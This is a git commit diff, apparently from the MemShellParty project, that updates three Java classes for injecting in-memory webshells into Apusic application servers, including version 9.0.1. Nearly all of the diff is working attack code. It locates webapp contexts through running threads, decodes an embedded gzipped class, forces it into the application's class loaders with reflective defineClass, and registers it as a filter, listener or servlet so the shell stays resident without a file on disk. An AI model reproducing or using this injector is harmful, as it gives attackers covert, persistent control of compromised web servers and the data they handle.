mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-23 07:21:53 +08:00
feat: support Apusic 9.0.1
This commit is contained in:
+52
-20
@@ -3,11 +3,13 @@ package com.reajason.javaweb.memshell.injector.apusic;
|
|||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Array;
|
import java.lang.reflect.Array;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
import java.util.ArrayList;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
@@ -17,15 +19,22 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class ApusicFilterInjector {
|
public class ApusicFilterInjector {
|
||||||
|
|
||||||
|
String msg = "";
|
||||||
|
|
||||||
public ApusicFilterInjector() {
|
public ApusicFilterInjector() {
|
||||||
try {
|
try {
|
||||||
List<Object> contexts = getContext();
|
List<Object> contexts = getContext();
|
||||||
|
msg += "contexts size: " + contexts.size() + "\n";
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
Object filter = getShell(context);
|
Object shell = getShell(context);
|
||||||
inject(context, filter);
|
boolean inject = inject(context, shell);
|
||||||
|
msg += "context: " + getFieldValue(context, "contextRoot") + (inject ? " ok" : " already") + "\n";
|
||||||
}
|
}
|
||||||
} catch (Exception e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
PrintStream printStream = new PrintStream(outputStream);
|
||||||
|
e.printStackTrace(printStream);
|
||||||
|
msg += outputStream.toString();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -51,39 +60,57 @@ public class ApusicFilterInjector {
|
|||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("HouseKeeper")) {
|
if (thread.getName().contains("HouseKeeper")) {
|
||||||
contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container"));
|
// Apusic 9.0 SPX
|
||||||
|
Object sessionManager = getFieldValue(thread, "this$0");
|
||||||
|
contexts.add(getFieldValue(sessionManager, "container"));
|
||||||
|
} else if (thread.getName().contains("HTTPSession")) {
|
||||||
|
// Apusic 9.0.1
|
||||||
|
Object sessionManager = getFieldValue(thread, "this$0");
|
||||||
|
Map<?, ?> contextMap = ((Map<?, ?>) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts"));
|
||||||
|
contexts.addAll(contextMap.values());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
|
// WebApp 类加载器,ServletContext 使用这个进行组件的类加载
|
||||||
|
ClassLoader loader = (ClassLoader) getFieldValue(context, "loader");
|
||||||
|
ClassLoader defineLoader;
|
||||||
|
Object obj;
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
// Apusic 9.0 SPX,优先从当前 loader 进行加载
|
||||||
} catch (Exception e) {
|
defineShell(loader);
|
||||||
return ((ClassLoader) getFieldValue(context, "loader"));
|
// 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
|
||||||
|
obj = loader.loadClass(getClassName()).newInstance();
|
||||||
|
defineLoader = loader;
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
// Apusic 9.0.1,委托给 jspLoader 进行加载,因此直接往 loader 里面 define 会 ClassNotFound
|
||||||
|
ClassLoader internalLoader = (ClassLoader) getFieldValue(getFieldValue(loader, "delegate"), "jspLoader");
|
||||||
|
defineShell(internalLoader);
|
||||||
|
// 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
|
||||||
|
obj = loader.loadClass(getClassName()).newInstance();
|
||||||
|
defineLoader = internalLoader;
|
||||||
}
|
}
|
||||||
|
msg += defineLoader + " loaded \n";
|
||||||
|
return obj;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private void defineShell(ClassLoader classLoader) throws Exception {
|
||||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
|
||||||
try {
|
try {
|
||||||
return classLoader.loadClass(getClassName()).newInstance();
|
|
||||||
} catch (Exception e) {
|
|
||||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
return clazz.newInstance();
|
} catch (Throwable ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public void inject(Object context, Object filter) throws Exception {
|
public boolean inject(Object context, Object filter) throws Exception {
|
||||||
Object webModule = getFieldValue(context, "webapp");
|
Object webModule = getFieldValue(context, "webapp");
|
||||||
if (invokeMethod(webModule, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
if (invokeMethod(webModule, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||||
System.out.println("filter already injected");
|
return false;
|
||||||
return;
|
|
||||||
}
|
}
|
||||||
// addFilterMapping
|
// addFilterMapping
|
||||||
Class<?> filterMappingClass = context.getClass().getClassLoader().loadClass("com.apusic.deploy.runtime.FilterMapping");
|
Class<?> filterMappingClass = context.getClass().getClassLoader().loadClass("com.apusic.deploy.runtime.FilterMapping");
|
||||||
@@ -100,7 +127,12 @@ public class ApusicFilterInjector {
|
|||||||
Class<?> filterMappingArrayClass = Array.newInstance(filterMappingClass, 0).getClass();
|
Class<?> filterMappingArrayClass = Array.newInstance(filterMappingClass, 0).getClass();
|
||||||
Object filterMapper = getFieldValue(context, "filterMapper");
|
Object filterMapper = getFieldValue(context, "filterMapper");
|
||||||
invokeMethod(filterMapper, "populate", new Class[]{filterMappingArrayClass}, new Object[]{allFilterMappings});
|
invokeMethod(filterMapper, "populate", new Class[]{filterMappingArrayClass}, new Object[]{allFilterMappings});
|
||||||
System.out.println("filter injected successful");
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return super.toString() + "\n" + msg;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
@@ -155,7 +187,7 @@ public class ApusicFilterInjector {
|
|||||||
clazz = clazz.getSuperclass();
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException(fieldName);
|
throw new NoSuchFieldException(fieldName + " for " + obj.getClass().getName());
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
+46
-24
@@ -3,10 +3,12 @@ package com.reajason.javaweb.memshell.injector.apusic;
|
|||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
import java.util.ArrayList;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
@@ -16,15 +18,22 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class ApusicListenerInjector {
|
public class ApusicListenerInjector {
|
||||||
|
|
||||||
|
String msg = "";
|
||||||
|
|
||||||
public ApusicListenerInjector() {
|
public ApusicListenerInjector() {
|
||||||
try {
|
try {
|
||||||
List<Object> contexts = getContext();
|
List<Object> contexts = getContext();
|
||||||
|
msg += "contexts size: " + contexts.size() + "\n";
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
Object listener = getShell(context);
|
Object shell = getShell(context);
|
||||||
inject(context, listener);
|
boolean inject = inject(context, shell);
|
||||||
|
msg += "context: " + getFieldValue(context, "contextRoot") +(inject ? " ok" : " already") + "\n";
|
||||||
}
|
}
|
||||||
} catch (Exception e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
PrintStream printStream = new PrintStream(outputStream);
|
||||||
|
e.printStackTrace(printStream);
|
||||||
|
msg += outputStream.toString();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -45,47 +54,60 @@ public class ApusicListenerInjector {
|
|||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("HouseKeeper")) {
|
if (thread.getName().contains("HouseKeeper")) {
|
||||||
contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container"));
|
// Apusic 9.0 SPX
|
||||||
|
Object sessionManager = getFieldValue(thread, "this$0");
|
||||||
|
contexts.add(getFieldValue(sessionManager, "container"));
|
||||||
|
} else if (thread.getName().contains("HTTPSession")) {
|
||||||
|
// Apusic 9.0.1
|
||||||
|
Object sessionManager = getFieldValue(thread, "this$0");
|
||||||
|
Map<?, ?> contextMap = ((Map<?, ?>) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts"));
|
||||||
|
contexts.addAll(contextMap.values());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
|
ClassLoader loader = (ClassLoader) getFieldValue(context, "loader");
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
defineShell(loader);
|
||||||
} catch (Exception e) {
|
Object obj = loader.loadClass(getClassName()).newInstance();
|
||||||
return ((ClassLoader) getFieldValue(context, "loader"));
|
msg += loader + " loaded \n";
|
||||||
|
return obj;
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
// Apusic 9.0.1
|
||||||
|
ClassLoader internalLoader = (ClassLoader) getFieldValue(getFieldValue(loader, "delegate"), "jspLoader");
|
||||||
|
defineShell(internalLoader);
|
||||||
|
Object obj = loader.loadClass(getClassName()).newInstance();
|
||||||
|
msg += internalLoader + " loaded \n";
|
||||||
|
return obj;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private void defineShell(ClassLoader classLoader) throws Exception {
|
||||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
|
||||||
try {
|
try {
|
||||||
return classLoader.loadClass(getClassName()).newInstance();
|
|
||||||
} catch (Exception e) {
|
|
||||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
return clazz.newInstance();
|
} catch (Throwable ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public void inject(Object context, Object listener) throws Exception {
|
public boolean inject(Object context, Object listener) throws Exception {
|
||||||
Object webModule = getFieldValue(context, "webapp");
|
Object webModule = getFieldValue(context, "webapp");
|
||||||
String[] listeners = (String[]) invokeMethod(webModule, "getListeners", null, null);
|
if ((boolean) invokeMethod(webModule, "hasListener", new Class[]{String.class}, new Object[]{getClassName()})) {
|
||||||
for (String name : listeners) {
|
return false;
|
||||||
if (getClassName().equals(name)) {
|
|
||||||
System.out.println("listener already injected");
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
invokeMethod(webModule, "addListener", new Class[]{String.class}, new Object[]{getClassName()});
|
invokeMethod(webModule, "addListener", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
invokeMethod(context, "loadListeners", null, null);
|
invokeMethod(context, "loadListeners", null, null);
|
||||||
System.out.println("listener injected successful");
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return super.toString() + "\n" + msg;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
+45
-19
@@ -3,10 +3,12 @@ package com.reajason.javaweb.memshell.injector.apusic;
|
|||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
import java.util.ArrayList;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
@@ -16,15 +18,22 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class ApusicServletInjector {
|
public class ApusicServletInjector {
|
||||||
|
|
||||||
|
String msg = "";
|
||||||
|
|
||||||
public ApusicServletInjector() {
|
public ApusicServletInjector() {
|
||||||
try {
|
try {
|
||||||
List<Object> contexts = getContext();
|
List<Object> contexts = getContext();
|
||||||
|
msg += "contexts size: " + contexts.size() + "\n";
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
Object servlet = getShell(context);
|
Object shell = getShell(context);
|
||||||
inject(context, servlet);
|
boolean inject = inject(context, shell);
|
||||||
|
msg += "context: " + getFieldValue(context, "contextRoot") +(inject ? " ok" : " already") + "\n";
|
||||||
}
|
}
|
||||||
} catch (Exception e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
PrintStream printStream = new PrintStream(outputStream);
|
||||||
|
e.printStackTrace(printStream);
|
||||||
|
msg += outputStream.toString();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -45,44 +54,61 @@ public class ApusicServletInjector {
|
|||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("HouseKeeper")) {
|
if (thread.getName().contains("HouseKeeper")) {
|
||||||
contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container"));
|
// Apusic 9.0 SPX
|
||||||
|
Object sessionManager = getFieldValue(thread, "this$0");
|
||||||
|
contexts.add(getFieldValue(sessionManager, "container"));
|
||||||
|
} else if (thread.getName().contains("HTTPSession")) {
|
||||||
|
// Apusic 9.0.1
|
||||||
|
Object sessionManager = getFieldValue(thread, "this$0");
|
||||||
|
Map<?, ?> contextMap = ((Map<?, ?>) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts"));
|
||||||
|
contexts.addAll(contextMap.values());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
|
ClassLoader loader = (ClassLoader) getFieldValue(context, "loader");
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
defineShell(loader);
|
||||||
} catch (Exception e) {
|
Object obj = loader.loadClass(getClassName()).newInstance();
|
||||||
return ((ClassLoader) getFieldValue(context, "loader"));
|
msg += loader + " loaded \n";
|
||||||
|
return obj;
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
// Apusic 9.0.1
|
||||||
|
ClassLoader internalLoader = (ClassLoader) getFieldValue(getFieldValue(loader, "delegate"), "jspLoader");
|
||||||
|
defineShell(internalLoader);
|
||||||
|
Object obj = loader.loadClass(getClassName()).newInstance();
|
||||||
|
msg += internalLoader + " loaded \n";
|
||||||
|
return obj;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private void defineShell(ClassLoader classLoader) throws Exception {
|
||||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
|
||||||
try {
|
try {
|
||||||
return classLoader.loadClass(getClassName()).newInstance();
|
|
||||||
} catch (Exception e) {
|
|
||||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
return clazz.newInstance();
|
} catch (Throwable ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public void inject(Object context, Object servlet) throws Exception {
|
public boolean inject(Object context, Object servlet) throws Exception {
|
||||||
Object webModule = getFieldValue(context, "webapp");
|
Object webModule = getFieldValue(context, "webapp");
|
||||||
Object servletMapper = getFieldValue(context, "servletMapper");
|
Object servletMapper = getFieldValue(context, "servletMapper");
|
||||||
if (invokeMethod(webModule, "getServlet", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
if (invokeMethod(webModule, "getServlet", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||||
System.out.println("servlet already injected");
|
return false;
|
||||||
return;
|
|
||||||
}
|
}
|
||||||
invokeMethod(webModule, "addServlet", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
|
invokeMethod(webModule, "addServlet", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
|
||||||
invokeMethod(servletMapper, "addMapping", new Class[]{String.class, boolean.class, String[].class}, new Object[]{getClassName(), true, new String[]{getUrlPattern()}});
|
invokeMethod(servletMapper, "addMapping", new Class[]{String.class, boolean.class, String[].class}, new Object[]{getClassName(), true, new String[]{getUrlPattern()}});
|
||||||
System.out.println("servlet injected successful");
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return super.toString() + "\n" + msg;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
Reference in New Issue
Block a user